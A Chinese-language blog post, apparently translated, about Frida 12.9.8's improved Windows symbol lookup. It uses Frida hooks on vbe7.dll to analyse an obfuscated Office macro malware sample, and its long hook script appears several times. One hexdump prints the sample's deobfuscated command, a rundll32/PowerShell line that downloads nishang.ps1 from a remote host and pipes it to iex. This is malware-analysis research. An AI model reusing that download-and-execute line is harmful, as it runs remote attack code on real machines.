Frida由于使用JavaScript语言安装钩子的便利性而在最近变得越来越流行。我看到许多研究都将Frida用于移动平台,但最近Windows似乎在使用方面有了更多的吸引力。在DarunGrim,我们正在研究安全研究人员可以用于日常工作的新方法。Frida是我们认为可用于Windows逆向工程的工具之一。但是,在我们的测试过程中,我们发现符号查找功能是该工具广泛使用的限制因素。我们进行了改进,现在Frida 12.9.8中可以使用它。我们非常感谢OleAndréVadlaRavnås在合并变更方面的帮助。
我们将简要介绍一下所做的更改,并说明如何在现实世界中解决问题时使用改进的符号查找功能。
0x01 对Frida 12.9.8 的改进
Frida使用dbghelp.dll API在Windows平台中查找符号。但是它缺少符号服务器支持。我们增加了对符号服务器的支持,并改进了Windows中传递符号字符串的方式。在较旧的Frida实现中,查找每个符号花费了一些时间,因为它使用通配符模块名称查找任何符号。现在,你可以指定模块名称以加快符号查找的速度。
新的Frida将随symsrv.dll和dbghelp.dll一起提供,以支持包括Microsoft符号服务器在内的符号服务器。
这些是我们在Ole的帮助下所做的更改。
- · Add load_symbols() and improve the DbgHelp backend
- · Migrate agent to new DbgHelp layout on Windows
- · Frida 12.9.8
0x02 分析office的恶意宏
使用改进的Frida对一个Office Macro恶意软件进行分析,我们希望将其应用到Frida中进行深度分析。
代码注入
下图显示了Frida通常如何安装hook并从已安装的hook中获取消息。
此过程中涉及frida,session,脚本对象,以管理hook安装。hook回调是用JavaScript编写的。
以下代码显示了如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码以使用process_id变量进行处理的示例。
- https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/code.py
- import os
- import sys
- import frida
- import process
- class Instrumenter:
- def __init__(self, script_text):
- self.sessions = []
- self.script_text = script_text
- self._device = frida.get_local_device()
- self._device.on("child-added", self._on_child_added)
- self._device.on("child-removed", self._on_child_removed)
- self._device.on("output", self._on_output)
- def __del__(self):
- for session in self.sessions:
- session.detach()
- def run(self, process_name):
- proc = process.Runner(process_name, suspended = True)
- if not proc.create():
- return
- process_id = proc.get_id()
- self.instrument(process_id)
- if proc:
- proc.resume()
- def instrument(self, process_id):
- session = frida.attach(process_id)
- self.sessions.append(session)
- session.enable_child_gating()
- script = session.create_script(self.script_text)
- script.on('message', self.on_message)
- script.load()
- def on_message(self, message, data):
- print("[%s] => %s" % (message, data))
- def _on_child_added(self, child):
- print("⚡ new child: {}".format(child))
- self.instrument(child.pid)
- def _on_child_removed(self, child):
- print("⚡ child terminated: {}".format(child))
- def _on_output(self, pid, fd, data):
- print("⚡ output: pid={}, fd={}, data={}".format(pid, fd, repr(data)))
- 符号查找:resolveName
- Frida JavaScript API在API文档中有很好的描述。
- 使用Frida进行hook的第一步是找到目标函数。
- 如果函数已导出,则只需使用导出的函数名和DLL名称调用Module.findExportByName方法。
- Module.findExportByName(dllName, name)
- 但是,如果该函数未导出并且仅记录在例如PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,你可以传递“ DLLName!FunctionName”符号,以在指定特定功能时提高准确性,并在定位它们时获得更好的性能。
- 有时,为模块加载符号可能很慢,因为它可能来自远程符号服务器。因此,你需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。
- 下面是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存其发现,以删除所有重复的信息。如果你要hook大量函数,则可以节省整个符号查找时间。
- vbe.js
- https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js
- var loadedModules = {}
- var resolvedAddresses = {}
- function resolveName(dllName, name) {
- var moduleName = dllName.split('.')[0]
- var functionName = moduleName + "!" + name
- if (functionName in resolvedAddresses) {
- return resolvedAddresses[functionName]
- }
- log("resolveName " + functionName);
- log("Module.findExportByName " + dllName + " " + name);
- var addr = Module.findExportByName(dllName, name)
- if (!addr || addr.isNull()) {
- if (!(dllName in loadedModules)) {
- log(" DebugSymbol.loadModule " + dllName);
- try {
- DebugSymbol.load(dllName)
- } catch (err) {
- return 0;
- }
- log(" DebugSymbol.load finished");
- loadedModules[dllName] = 1
- }
- try {
- log(" DebugSymbol.getFunctionByName: " + functionName);
- addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
- log(" DebugSymbol.getFunctionByName: addr = " + addr);
- } catch (err) {
- log(" DebugSymbol.getFunctionByName: Exception")
- }
- }
- resolvedAddresses[functionName] = addr
- return addr
- }
- function loadModuleForAddress(address) {
- var modules = Process.enumerateModules()
- var i
- for (i = 0; i < modules.length; i++) {
- if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) {
- log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path)
- var modName = modules[i].path
- if (!(modName in loadedModules)) {
- log(" DebugSymbol.loadModule " + modName);
- try {
- DebugSymbol.load(modName)
- } catch (err) {
- return 0;
- }
- loadedModules[modName] = 1
- }
- break
- }
- }
- }
- var hookedFunctions = {}
- var addressToFunctions = {}
- var blackListedFunctions = {
- 'I_RpcClearMutex': 1
- }
- function hookFunction(dllName, funcName, callback) {
- if (funcName in blackListedFunctions) {
- return
- }
- var symbolName = dllName + "!" + funcName
- if (symbolName in hookedFunctions) {
- return
- }
- hookedFunctions[symbolName] = 1
- var addr = resolveName(dllName, funcName)
- if (!addr || addr.isNull()) {
- return
- }
- if (addr in hookedFunctions) {
- return
- }
- hookedFunctions[addr] = 1
- addressToFunctions[addr] = symbolName
- log('Interceptor.attach: ' + symbolName + '@' + addr);
- Interceptor.attach(addr, callback)
- }
- function hookPointers(address, count) {
- if (address.isNull())
- return
- var currentAddress = address
- for (var i = 0; i < count; i++) {
- var readAddress = ptr(currentAddress).readPointer();
- readAddress = ptr(readAddress)
- var symbolInformation = DebugSymbol.fromAddress(readAddress)
- var name = readAddress
- if (symbolInformation && symbolInformation.name) {
- name = symbolInformation.name
- }
- log('Hooking ' + readAddress + ": " + name)
- try {
- Interceptor.attach(readAddress, {
- onEnter: function (args) {
- log('[+] ' + name)
- }
- })
- } catch (err) {}
- currentAddress = currentAddress.add(4)
- }
- }
- function hookFunctionNames(moduleName, funcNames) {
- for (var i = 0; i < funcNames.length; i++) {
- var funcName = funcNames[i]
- try {
- hookFunction(moduleName, funcName, {
- onEnter: function (args) {
- var name = ''
- if (this.context.pc in addressToFunctions) {
- name = addressToFunctions[this.context.pc]
- }
- log("[+] " + name + " (" + this.context.pc + ")")
- }
- })
- } catch (err) {
- log("Failed to hook " + funcName)
- }
- }
- }
- function BytesToCLSID(address) {
- if (address.isNull())
- return
- var data = new Uint8Array(ptr(address).readByteArray(0x10))
- var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0])
- clsid += '-' + getHexString(data[5]) + getHexString(data[4])
- clsid += '-' + getHexString(data[7]) + getHexString(data[6])
- clsid += '-' + getHexString(data[8]) + getHexString(data[9])
- clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15])
- clsid += '}'
- return clsid
- }
- function log(message) {
- console.log(message)
- }
- function dumpAddress(address) {
- log('[+] address: ' + address);
- if (address.isNull())
- return
- var data = ptr(address).readByteArray(50);
- log(hexdump(data, {
- offset: 0,
- length: 50,
- header: true,
- ansi: false
- }));
- }
- function dumpBytes(address, length) {
- if (address.isNull())
- return
- var data = ptr(address).readByteArray(length);
- log(hexdump(data, {
- offset: 0,
- length: length,
- header: true,
- ansi: false
- }));
- }
- function dumpSymbols(address, count) {
- if (address.isNull())
- return
- var currentAddress = address
- for (var i = 0; i < count; i++) {
- var readAddress = ptr(currentAddress).readPointer();
- readAddress = ptr(readAddress)
- var symbolInformation = DebugSymbol.fromAddress(readAddress)
- if (symbolInformation && symbolInformation.name) {
- log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name)
- } else {
- log(currentAddress + ":\t" + readAddress)
- }
- currentAddress = currentAddress.add(4)
- }
- }
- function dumpBSTR(address) {
- log('[+] address: ' + address);
- if (address.isNull())
- return
- var length = ptr(address - 4).readULong(4);
- log("length: " + length)
- var data = ptr(address).readByteArray(length);
- log(hexdump(data, {
- offset: 0,
- length: length,
- header: true,
- ansi: false
- }));
- }
- function getString(address) {
- if (address.isNull())
- return
- var dataString = ''
- var offset = 0
- var stringEnded = false
- while (!stringEnded) {
- var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10));
- if (data.length <= 0) {
- break
- }
- var i;
- for (i = 0; i < data.length; i++) {
- if (data[i] == 0x0) {
- stringEnded = true
- break
- }
- dataString += String.fromCharCode(data[i])
- }
- offset += data.length
- }
- log("dataString: " + dataString)
- return dataString;
- }
- function dumpWSTR(address) {
- if (address.isNull())
- return
- var dataString = ''
- var offset = 0
- var stringEnded = false
- while (!stringEnded) {
- var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20));
- if (data.length <= 0) {
- break
- }
- var i;
- for (i = 0; i < data.length; i += 2) {
- if (data[i] == 0x0 && data[i + 1] == 0x0) {
- stringEnded = true
- break
- }
- dataString += String.fromCharCode(data[i])
- }
- offset += data.length
- }
- log("dataString: " + dataString)
- return dataString;
- }
- function hookRtcShell(moduleName) {
- hookFunction(moduleName, "rtcShell", {
- onEnter: function (args) {
- log("[+] rtcShell")
- var variantArg = ptr(args[0])
- dumpAddress(variantArg);
- var bstrPtr = ptr(variantArg.add(8).readULong())
- dumpBSTR(bstrPtr);
- }
- })
- }
- function hookVBAStrCat(moduleName) {
- hookFunction(moduleName, "__vbaStrCat", {
- onEnter: function (args) {
- log("[+] __vbaStrCat")
- // log('[+] ' + name);
- // dumpBSTR(args[0]);
- // dumpBSTR(args[1]);
- },
- onLeave: function (retval) {
- dumpBSTR(retval);
- }
- })
- }
- function hookVBAStrComp(moduleName) {
- hookFunction(moduleName, "__vbaStrComp", {
- onEnter: function (args) {
- log('[+] __vbaStrComp');
- log(ptr(args[1]).readUtf16String())
- log(ptr(args[2]).readUtf16String())
- }
- })
- }
- function hookRtcCreateObject(moduleName) {
- hookFunction(moduleName, "rtcCreateObject", {
- onEnter: function (args) {
- log('[+] rtcCreateObject');
- dumpAddress(args[0]);
- dumpBSTR(args[0]);
- log(ptr(args[0]).readUtf16String())
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- function hookRtcCreateObject2(moduleName) {
- hookFunction(moduleName, "rtcCreateObject2", {
- onEnter: function (args) {
- log('[+] rtcCreateObject2');
- dumpAddress(args[0]);
- dumpBSTR(args[1]);
- log(ptr(args[2]).readUtf16String())
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- // int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *)
- function hookCVbeProcsCallMacro(moduleName) {
- hookFunction(moduleName, "CVbeProcs::CallMacro", {
- onEnter: function (args) {
- log('[+] CVbeProcs::CallMacro');
- dumpAddress(args[0]);
- dumpWSTR(args[1]);
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- function hookDispCall(moduleName) {
- hookFunction(moduleName, "DispCallFunc", {
- onEnter: function (args) {
- log("[+] DispCallFunc")
- var pvInstance = args[0]
- var oVft = args[1]
- var instance = ptr(ptr(pvInstance).readULong());
- log(' instance:' + instance);
- log(' oVft:' + oVft);
- var vftbPtr = instance.add(oVft)
- log(' vftbPtr:' + vftbPtr);
- var functionAddress = ptr(ptr(vftbPtr).readULong())
- loadModuleForAddress(functionAddress)
- var functionName = DebugSymbol.fromAddress(functionAddress)
- if (functionName) {
- log(' functionName:' + functionName);
- }
- dumpAddress(functionAddress);
- var currentAddress = functionAddress
- for (var i = 0; i < 10; i++) {
- try {
- var instruction = Instruction.parse(currentAddress)
- log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
- currentAddress = instruction.next
- } catch (err) {
- break
- }
- }
- }
- })
- }
- hookRtcShell('vbe7')
- hookVBAStrCat('vbe7')
- hookVBAStrComp('vbe7')
- hookRtcCreateObject('vbe7')
- hookRtcCreateObject2('vbe7')
- hookCVbeProcsCallMacro('vbe7')
- hookDispCall('oleaut32')
设置符号路径
在Windows环境下设置符号服务器有多种方法,建议你从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbol-path
以下将使用“ c:\ symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。
setx _NT_SYMBOL_PATH SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
以下命令将使系统使用默认的符号存储目录。
setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
运行恶意软件并观察行为
我们使用以下示例测试Frida的符号查找功能。恶意样本做了一些混淆,可以使用Frida hook轻松分析。
我们在此处提供的代码可从以下GitHub存储库中找到。
- https://github.com/ohjeongwook/Frida.examples.vbe
- var loadedModules = {}
- var resolvedAddresses = {}
- function resolveName(dllName, name) {
- var moduleName = dllName.split('.')[0]
- var functionName = moduleName + "!" + name
- if (functionName in resolvedAddresses) {
- return resolvedAddresses[functionName]
- }
- log("resolveName " + functionName);
- log("Module.findExportByName " + dllName + " " + name);
- var addr = Module.findExportByName(dllName, name)
- if (!addr || addr.isNull()) {
- if (!(dllName in loadedModules)) {
- log(" DebugSymbol.loadModule " + dllName);
- try {
- DebugSymbol.load(dllName)
- } catch (err) {
- return 0;
- }
- log(" DebugSymbol.load finished");
- loadedModules[dllName] = 1
- }
- try {
- log(" DebugSymbol.getFunctionByName: " + functionName);
- addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
- log(" DebugSymbol.getFunctionByName: addr = " + addr);
- } catch (err) {
- log(" DebugSymbol.getFunctionByName: Exception")
- }
- }
- resolvedAddresses[functionName] = addr
- return addr
- }
因此,当你启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装hook。安装hook之后,你可以打开恶意文档以观察其行为
- > python inject.py -p 3064 vbe.js
- resolveName vbe7!rtcShell
- Module.findExportByName vbe7 rtcShell
- Interceptor.attach: vbe7!rtcShell@0x652a2b76
- resolveName vbe7!__vbaStrCat
- Module.findExportByName vbe7 __vbaStrCat
- DebugSymbol.loadModule vbe7
- DebugSymbol.load finished
- DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
- DebugSymbol.getFunctionByName: addr = 0x651e53e6
- Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
- resolveName vbe7!__vbaStrComp
- Module.findExportByName vbe7 __vbaStrComp
- DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
- DebugSymbol.getFunctionByName: addr = 0x651e56a2
- Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
- resolveName vbe7!rtcCreateObject
- Module.findExportByName vbe7 rtcCreateObject
- Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
- resolveName vbe7!rtcCreateObject2
- Module.findExportByName vbe7 rtcCreateObject2
- Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
- resolveName vbe7!CVbeProcs::CallMacro
- Module.findExportByName vbe7 CVbeProcs::CallMacro
- DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
- DebugSymbol.getFunctionByName: addr = 0x6529019b
- Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
- resolveName oleaut32!DispCallFunc
- Module.findExportByName oleaut32 DispCallFunc
- Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
- [!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
hook监控office的宏行为
vbe.js很少有hook来监视恶意Office文档的行为。
__vbaStrCat
vbe7.dll是已找到Visual Basic运行时引擎的DLL,里面有很多有趣的函数。但是首先,我们想观察字符串去混淆操作
vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。
.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串的动作,你可以观察最终的去混淆字符串的构造。
以下hook代码将为每个调用打印出连接的字符串。
- https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js
- var loadedModules = {}
- var resolvedAddresses = {}
- function resolveName(dllName, name) {
- var moduleName = dllName.split('.')[0]
- var functionName = moduleName + "!" + name
- if (functionName in resolvedAddresses) {
- return resolvedAddresses[functionName]
- }
- log("resolveName " + functionName);
- log("Module.findExportByName " + dllName + " " + name);
- var addr = Module.findExportByName(dllName, name)
- if (!addr || addr.isNull()) {
- if (!(dllName in loadedModules)) {
- log(" DebugSymbol.loadModule " + dllName);
- try {
- DebugSymbol.load(dllName)
- } catch (err) {
- return 0;
- }
- log(" DebugSymbol.load finished");
- loadedModules[dllName] = 1
- }
- try {
- log(" DebugSymbol.getFunctionByName: " + functionName);
- addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
- log(" DebugSymbol.getFunctionByName: addr = " + addr);
- } catch (err) {
- log(" DebugSymbol.getFunctionByName: Exception")
- }
- }
- resolvedAddresses[functionName] = addr
- return addr
- }
- function loadModuleForAddress(address) {
- var modules = Process.enumerateModules()
- var i
- for (i = 0; i < modules.length; i++) {
- if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) {
- log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path)
- var modName = modules[i].path
- if (!(modName in loadedModules)) {
- log(" DebugSymbol.loadModule " + modName);
- try {
- DebugSymbol.load(modName)
- } catch (err) {
- return 0;
- }
- loadedModules[modName] = 1
- }
- break
- }
- }
- }
- var hookedFunctions = {}
- var addressToFunctions = {}
- var blackListedFunctions = {
- 'I_RpcClearMutex': 1
- }
- function hookFunction(dllName, funcName, callback) {
- if (funcName in blackListedFunctions) {
- return
- }
- var symbolName = dllName + "!" + funcName
- if (symbolName in hookedFunctions) {
- return
- }
- hookedFunctions[symbolName] = 1
- var addr = resolveName(dllName, funcName)
- if (!addr || addr.isNull()) {
- return
- }
- if (addr in hookedFunctions) {
- return
- }
- hookedFunctions[addr] = 1
- addressToFunctions[addr] = symbolName
- log('Interceptor.attach: ' + symbolName + '@' + addr);
- Interceptor.attach(addr, callback)
- }
- function hookPointers(address, count) {
- if (address.isNull())
- return
- var currentAddress = address
- for (var i = 0; i < count; i++) {
- var readAddress = ptr(currentAddress).readPointer();
- readAddress = ptr(readAddress)
- var symbolInformation = DebugSymbol.fromAddress(readAddress)
- var name = readAddress
- if (symbolInformation && symbolInformation.name) {
- name = symbolInformation.name
- }
- log('Hooking ' + readAddress + ": " + name)
- try {
- Interceptor.attach(readAddress, {
- onEnter: function (args) {
- log('[+] ' + name)
- }
- })
- } catch (err) {}
- currentAddress = currentAddress.add(4)
- }
- }
- function hookFunctionNames(moduleName, funcNames) {
- for (var i = 0; i < funcNames.length; i++) {
- var funcName = funcNames[i]
- try {
- hookFunction(moduleName, funcName, {
- onEnter: function (args) {
- var name = ''
- if (this.context.pc in addressToFunctions) {
- name = addressToFunctions[this.context.pc]
- }
- log("[+] " + name + " (" + this.context.pc + ")")
- }
- })
- } catch (err) {
- log("Failed to hook " + funcName)
- }
- }
- }
- function BytesToCLSID(address) {
- if (address.isNull())
- return
- var data = new Uint8Array(ptr(address).readByteArray(0x10))
- var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0])
- clsid += '-' + getHexString(data[5]) + getHexString(data[4])
- clsid += '-' + getHexString(data[7]) + getHexString(data[6])
- clsid += '-' + getHexString(data[8]) + getHexString(data[9])
- clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15])
- clsid += '}'
- return clsid
- }
- function log(message) {
- console.log(message)
- }
- function dumpAddress(address) {
- log('[+] address: ' + address);
- if (address.isNull())
- return
- var data = ptr(address).readByteArray(50);
- log(hexdump(data, {
- offset: 0,
- length: 50,
- header: true,
- ansi: false
- }));
- }
- function dumpBytes(address, length) {
- if (address.isNull())
- return
- var data = ptr(address).readByteArray(length);
- log(hexdump(data, {
- offset: 0,
- length: length,
- header: true,
- ansi: false
- }));
- }
- function dumpSymbols(address, count) {
- if (address.isNull())
- return
- var currentAddress = address
- for (var i = 0; i < count; i++) {
- var readAddress = ptr(currentAddress).readPointer();
- readAddress = ptr(readAddress)
- var symbolInformation = DebugSymbol.fromAddress(readAddress)
- if (symbolInformation && symbolInformation.name) {
- log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name)
- } else {
- log(currentAddress + ":\t" + readAddress)
- }
- currentAddress = currentAddress.add(4)
- }
- }
- function dumpBSTR(address) {
- log('[+] address: ' + address);
- if (address.isNull())
- return
- var length = ptr(address - 4).readULong(4);
- log("length: " + length)
- var data = ptr(address).readByteArray(length);
- log(hexdump(data, {
- offset: 0,
- length: length,
- header: true,
- ansi: false
- }));
- }
- function getString(address) {
- if (address.isNull())
- return
- var dataString = ''
- var offset = 0
- var stringEnded = false
- while (!stringEnded) {
- var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10));
- if (data.length <= 0) {
- break
- }
- var i;
- for (i = 0; i < data.length; i++) {
- if (data[i] == 0x0) {
- stringEnded = true
- break
- }
- dataString += String.fromCharCode(data[i])
- }
- offset += data.length
- }
- log("dataString: " + dataString)
- return dataString;
- }
- function dumpWSTR(address) {
- if (address.isNull())
- return
- var dataString = ''
- var offset = 0
- var stringEnded = false
- while (!stringEnded) {
- var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20));
- if (data.length <= 0) {
- break
- }
- var i;
- for (i = 0; i < data.length; i += 2) {
- if (data[i] == 0x0 && data[i + 1] == 0x0) {
- stringEnded = true
- break
- }
- dataString += String.fromCharCode(data[i])
- }
- offset += data.length
- }
- log("dataString: " + dataString)
- return dataString;
- }
- function hookRtcShell(moduleName) {
- hookFunction(moduleName, "rtcShell", {
- onEnter: function (args) {
- log("[+] rtcShell")
- var variantArg = ptr(args[0])
- dumpAddress(variantArg);
- var bstrPtr = ptr(variantArg.add(8).readULong())
- dumpBSTR(bstrPtr);
- }
- })
- }
- function hookVBAStrCat(moduleName) {
- hookFunction(moduleName, "__vbaStrCat", {
- onEnter: function (args) {
- log("[+] __vbaStrCat")
- // log('[+] ' + name);
- // dumpBSTR(args[0]);
- // dumpBSTR(args[1]);
- },
- onLeave: function (retval) {
- dumpBSTR(retval);
- }
- })
- }
- function hookVBAStrComp(moduleName) {
- hookFunction(moduleName, "__vbaStrComp", {
- onEnter: function (args) {
- log('[+] __vbaStrComp');
- log(ptr(args[1]).readUtf16String())
- log(ptr(args[2]).readUtf16String())
- }
- })
- }
- function hookRtcCreateObject(moduleName) {
- hookFunction(moduleName, "rtcCreateObject", {
- onEnter: function (args) {
- log('[+] rtcCreateObject');
- dumpAddress(args[0]);
- dumpBSTR(args[0]);
- log(ptr(args[0]).readUtf16String())
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- function hookRtcCreateObject2(moduleName) {
- hookFunction(moduleName, "rtcCreateObject2", {
- onEnter: function (args) {
- log('[+] rtcCreateObject2');
- dumpAddress(args[0]);
- dumpBSTR(args[1]);
- log(ptr(args[2]).readUtf16String())
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- // int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *)
- function hookCVbeProcsCallMacro(moduleName) {
- hookFunction(moduleName, "CVbeProcs::CallMacro", {
- onEnter: function (args) {
- log('[+] CVbeProcs::CallMacro');
- dumpAddress(args[0]);
- dumpWSTR(args[1]);
- },
- onLeave: function (retval) {
- dumpAddress(retval);
- }
- })
- }
- function hookDispCall(moduleName) {
- hookFunction(moduleName, "DispCallFunc", {
- onEnter: function (args) {
- log("[+] DispCallFunc")
- var pvInstance = args[0]
- var oVft = args[1]
- var instance = ptr(ptr(pvInstance).readULong());
- log(' instance:' + instance);
- log(' oVft:' + oVft);
- var vftbPtr = instance.add(oVft)
- log(' vftbPtr:' + vftbPtr);
- var functionAddress = ptr(ptr(vftbPtr).readULong())
- loadModuleForAddress(functionAddress)
- var functionName = DebugSymbol.fromAddress(functionAddress)
- if (functionName) {
- log(' functionName:' + functionName);
- }
- dumpAddress(functionAddress);
- var currentAddress = functionAddress
- for (var i = 0; i < 10; i++) {
- try {
- var instruction = Instruction.parse(currentAddress)
- log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
- currentAddress = instruction.next
- } catch (err) {
- break
- }
- }
- }
- })
- }
- hookRtcShell('vbe7')
- hookVBAStrCat('vbe7')
- hookVBAStrComp('vbe7')
- hookRtcCreateObject('vbe7')
- hookRtcCreateObject2('vbe7')
- hookCVbeProcsCallMacro('vbe7')
- hookDispCall('oleaut32')
这是一个示例输出,显示了最终的去混淆字符串。
- [+] __vbaStrCat
- [+] address: 0x2405009c
- length: 328
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.
- 00000010 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 w.s.\.S.y.s.t.e.
- 00000020 6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00 m.3.2.\.r.u.n.d.
- 00000030 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 l.l.3.2...e.x.e.
- 00000040 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 .C.:.\.U.s.e.r.
- 00000050 73 00 5c 00 74 00 65 00 73 00 74 00 65 00 72 00 s.\.t.e.s.t.e.r.
- 00000060 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a.
- 00000070 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 \.L.o.c.a.l.\.T.
- 00000080 65 00 6d 00 70 00 5c 00 70 00 6f 00 77 00 65 00 e.m.p.\.p.o.w.e.
- 00000090 72 00 73 00 68 00 64 00 6c 00 6c 00 2e 00 64 00 r.s.h.d.l.l...d.
- 000000a0 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 l.l.,.m.a.i.n. .
- 000000b0 2e 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00 .. .{. .I.n.v.o.
- 000000c0 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 k.e.-.W.e.b.R.e.
- 000000d0 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 q.u.e.s.t. .-.u.
- 000000e0 73 00 65 00 62 00 20 00 68 00 74 00 74 00 70 00 s.e.b. .h.t.t.p.
- 000000f0 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00 :././.1.9.2...1.
- 00000100 36 00 38 00 2e 00 31 00 30 00 2e 00 31 00 30 00 6.8...1.0...1.0.
- 00000110 30 00 3a 00 38 00 30 00 38 00 30 00 2f 00 6e 00 0.:.8.0.8.0./.n.
- 00000120 69 00 73 00 68 00 61 00 6e 00 67 00 2e 00 70 00 i.s.h.a.n.g...p.
- 00000130 73 00 31 00 20 00 7d 00 20 00 5e 00 7c 00 20 00 s.1. .}. .^.|. .
- 00000140 69 00 65 00 78 00 3b 00 i.e.x.;.
这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。
- [+] __vbaStrCat
- [+] address: 0x23fa653c
- length: 14
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 i.p.t...S.h.e.
- [+] __vbaStrCat
- [+] address: 0x188e2624
- length: 8
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 26 00 48 00 36 00 63 00 &.H.6.c.
- [+] __vbaStrCat
- [+] address: 0xe5b82a4
- length: 16
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l.
- [+] __vbaStrCat
- [+] address: 0x23fa6e24
- length: 8
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 26 00 48 00 36 00 63 00 &.H.6.c.
- [+] __vbaStrCat
- [+] address: 0x23fa6a8c
- length: 18
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l.
- 00000010 6c 00 l.
- [+] __vbaStrCat
- [+] address: 0xe5b82a4
- length: 26
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t...
- 00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
rtcCreateObject2
恶意宏显示的许多行为之一是创建对象来执行系统操作,执行此操作的函数是rtcCreateObject2。
- .text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
- .text:653E6ECE public _rtcCreateObject2@8
- .text:653E6ECE _rtcCreateObject2@8 proc near ; DATA XREF: .text:off_651D379C↑o
在VB引擎中创建新对象时,将调用rtcCreateObject2函数。
以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。
- https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js
- function hookRtcCreateObject2(moduleName) {
- hookFunction(moduleName, "rtcCreateObject2", {
- onEnter: function (args) {
- log('[+] rtcCreateObject2');
- dumpAddress(args[0]);
- dumpBSTR(args[1]);
- log(ptr(args[2]).readUtf16String())
- },
- onLeave: function (retval) {
